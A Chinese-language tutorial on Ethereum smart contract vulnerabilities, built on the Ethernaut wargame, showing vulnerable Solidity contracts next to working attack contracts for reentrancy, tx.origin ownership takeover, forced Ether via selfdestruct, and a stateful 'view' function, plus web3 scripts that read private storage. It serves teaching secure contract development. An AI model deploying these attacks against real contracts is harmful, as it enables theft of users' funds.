开发以太坊智能合约要注意的几个坑

0.216字数 1735阅读 6507

以太坊智能合约安全漏洞频繁出现,一些通用的合约,比如 token 合约,一般都会以 OpenZeppelin 为基础,来发布。OpenZeppelin 还开发了一系列的智能合约习题:The Ethernaut,这是一个 wargame,目前有 19 道题,每道题是一个有漏洞的合约,hack 之后才能过关。强烈推荐练习,有助于理解并开发安全的智能合约,不知道怎么做的可以参考这篇教程智能合约CTF:Ethernaut Writeup Part 1。本篇文章是对题目中涉及的一些知识点的总结。

Fallback 函数

以太坊的智能合约,可以声明一个匿名函数(unnamed function),叫做 Fallback 函数,这个函数不带任何参数,也没有返回值。当向这个合约发送消息时,如果没有找到匹配的函数就会调用 fallback 函数。比如向合约转账,但要合约接收 Ether,那么 fallback 函数必须声明为 payable,否则试图向此合约转 ETH 将失败。如下:

function() payable public { // payable 关键字,表明调用此函数,可向合约转 Ether。
}

向合约发送 send、transfer、call 消息时候都会调用 fallback 函数,不同的是 send 和 transfer 有 2300 gas 的限制,也就是传递给 fallback 的只有 2300 gas,这个 gas 只能用于记录日志,因为其他操作都将超过 2300 gas。但 call 则会把剩余的所有 gas 都给 fallback 函数,这有可能导致循环调用。

call 可导致可重入攻击,当向合约转账的时候,会调用 fallback 函数,如下:

contract Reentrance {

  mapping(address => uint) public balances;

    // 充值
  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }

  // 查看余额
  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  // 提现
  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  function() public payable {}
}
   
contract ReentranceAttack{
  Reentrance entrance;

  function ReentranceAttack(address _target) public payable {
    entrance = Reentrance(_target);
  }

  function deposit() public payable{
      entrance.donate.value(msg.value);
  }

  function attack() public{
    entrance.withdraw(0.5 ether);
    entrance.withdraw(0.5 ether);
  }

  function() public payable{
    entrance.withdraw(0.5 ether);
  }

  function withdraw() public {
      msg.sender.transfer(this.balance);
  }
}

攻击过程如图:

image

攻击者先调用 ReentranceAttack 的 deposit() 函数发送 ETH 给 Reentrance 合约。然后再调用 attack() 取现,向 Reentrance 请求取现,调用 withdraw(),当系统执行 withdraw(),将向合约 ReentranceAttack 转账,这个时候就会触发 ReentranceAttack 的 fallback 函数。而该函数里又调用了 withdraw(),这样就导致了递归调用(如上图,红色箭头形成一个循环),直到 gas 费用被耗尽,或 Reentrance 合约余额小于转出金额,失败退出。

导致以太坊分叉的合约漏洞 DAO 事件,就是这么被攻击的。这里要把balances[msg.sender] -= _amount; 写在转账之前。并使用 send()transfer() 以制定gas值的使用,但是这样可能会导致在合约调用fallback 函数由于gas可能不足。

智能合约最佳实践,建议使用 push 和 pull, 在 push 部分使用send()transfer(),在pull 部分使用call.value()()。

另外,没有实现 payable fallback 函数的合约在以下两种情况下可接受 Ether: 1. 将合约地址作为挖矿地址 2. 调用其他合约的自毁函数 selfdestruct,而将此合约的地址作为参数。

A contract without a payable fallback function can receive Ether as a recipient of a coinbase transaction (aka miner block reward) or as a destination of a selfdestruct.

下面的代码就能实现向一个没有实现 payable fallback 函数的合约发送 ETH:

contract Force {/*
*/}

contract SelfDestruct {
    address public dest_address;
    
    function SelfDestruct(address dest_addr) payable{ // 构造函数为payable,那么就能在部署的时候给此合约转账。
            dest_address = dest_addr
    } 
    
    function attack(){
        selfdestruct(dest_address); // 这里要指定为销毁时将基金发送给的地址。
    }
}

Force 合约没有实现 payable 函数,但若通过上面的 SelfDestruct 合约,在创建的时候将 Force 合约的地址传入,同时发送一些 ETH 给 SelfDestruction,之后再调用 SelfDestruct 的 attack 函数,执行其中的 selfdestruct,则 SelfDestruct 剩余的所有 ETH 都将发送给 Force。

tx.origin 和 msg.sender

tx.origin 和 msg.sender 区别,看以下代码:

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

这里要调用成功,需要借助另一个合约,msg.sender 变为合约地址,tx.orgin 为执行合约的人。

contract HackTelephone {

  address public contractAddr = 0x9e...; // Telephone 合约地址

  Telephone telephone = Telephone(contractAddr);

  function changeowner() public  {
    telephone.changeOwner(msg.sender);
  }
}

这样就能成功调用 Telephone 的 changeOwner。 solidity 文档中建议

Never use tx.origin for authorization.

整数溢出

function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

传入一个上溢的 _value,那么转账金额就溢出了。在做整数加减乘除时,建议使用 OpenZeppelin 实现的 SafeMath 合约。

合约的数据存储结构

以太坊上的所有数据都是公开的,即使是声明为私有变量的数据,看以下代码:

contract Vault {
  bool public locked;
  bytes32 private password;

  function Vault(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

实际上,调用 contract.storageAt(contractAddr) 就能获取到合约的所有成员变量,不管私有还是共有。通过以下 js 代码就能获取到 password 值:

var contractAddr = "0x9c...."; // Vault 合约地址
web3.eth.getStorageAt(contractAddr, 1, function(x, y) {
     console.log(web3.toAscii(y))
});

再看另一个例子:

contract Privacy {

  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  function Privacy(bytes32[3] _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }
}

关于以太坊的获取这个合约的所有成员变量,constant 变量直接编译在代码中,这里不考虑。总共有 5 个变量,通过eth.getStorageAt查看:

let contractAddress = '0x23..'; // 合约地址
for (index = 0; index < 6; index++){
 storage = web3.eth.getStorageAt(contractAddress, index)
 console.log(`[${index}]` + storage)

输出:

[0]0x0000000000000000000000000000000000000000000000000000007be0ff0a00
[1]0x01041553ed361174f92060a8390cbefad285f66969f14e9847bf233be4f252ec
[2]0xbcc6a03856edf34bf363b4ba202925265d535cbeadbc0d71ed3b3cef79b2116c
[3]0x9f7ace3fa28705128796a9befdcbaa0002cd0ad2f0d69bb7e355d4d9e783ec54
[4]0x0000000000000000000000000000000000000000000000000000000000000000
[5]0x0000000000000000000000000000000000000000000000000000000000000000

分析第一个输出,0x7be0ff0a00,对应合约变量:true的十六进制0x00,10的十六进制 0x0a,255的十六进制 0xff,0x7be0ff0a00 的最后六位刚好是这几个值的拼接,而 0x7be0 应该就是 awkwardness 的值,合约会合并不满 32 字节的变量。这样,[1][2][3] 就是 data 这个字节数组了,从而可以判断 data[2]= 0x9f7ace3fa28705128796a9befdcbaa0002cd0ad2f0d69bb7e355d4d9e783ec54。所以不要直接在合约中以等于某个私有变量来做权限判断,一切都是可见的!

view 和 pure

如果想声明只读函数,不修改合约数据,一般会声明函数为 view 和 pure,它们的定义:

View Functions
Functions can be declared view in which case they promise not to modify the state.

Pure Functions
Functions can be declared pure in which case they promise not to read from or modify the state.

函数在保证不修改状态情况下可以被声明为视图(view)的形式。但这是松散的,当前 Solidity 编译器没有强制执行视图函数(view function)或常量函数(constant function)不能修改状态。而且也没有强制纯函数(pure function)不读取状态信息。所以声明一个 view 和 pure 函数,并不保证就不修改数据状态。看以下代码:

interface Building {
  function isLastFloor(uint) view public returns (bool);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

isLastFloor 被声明为 view,但我们可以写一个可以操纵状态(state)的 isLastFloor 函数,返回 true,从而修改 Elevator 的 top 和 floor 变量,如下:

contract HackBuilding {   
    bool isLast = true;
    function isLastFloor(uint)  public returns (bool) {
        isLast = !isLast;
        return isLast;
    }
    
    function hack(address _target) public {
        Elevator elevator = Elevator(_target);
        elevator.goTo(10);
    }
}

总结:

  1. fallback 函数:要向合约地址转账,要实现 payable fallback 函数。即使没有实现 payable fallback 函数,合约在两种情况下可以接收 ETH:矿工挖矿的 ETH 收入,另一个合约通过调用自毁函数 selfdestruct 并指定该合约为接收者。
  2. 可重入攻击,转账操作使用 send() 或者 transfer() 尽量避免使用 call ,如果调用限制 gas 值。
  3. 以太坊上的任何数据都是公开的,即使是智能合约中声明为私有的变量。
  4. 不要用 tx.origin 做权限验证。
  5. 检查整数溢出,使用 MathSafe 库。
  6. 不要认为声明为 view 或 pure 的函数永远是只读。

推荐阅读更多精彩内容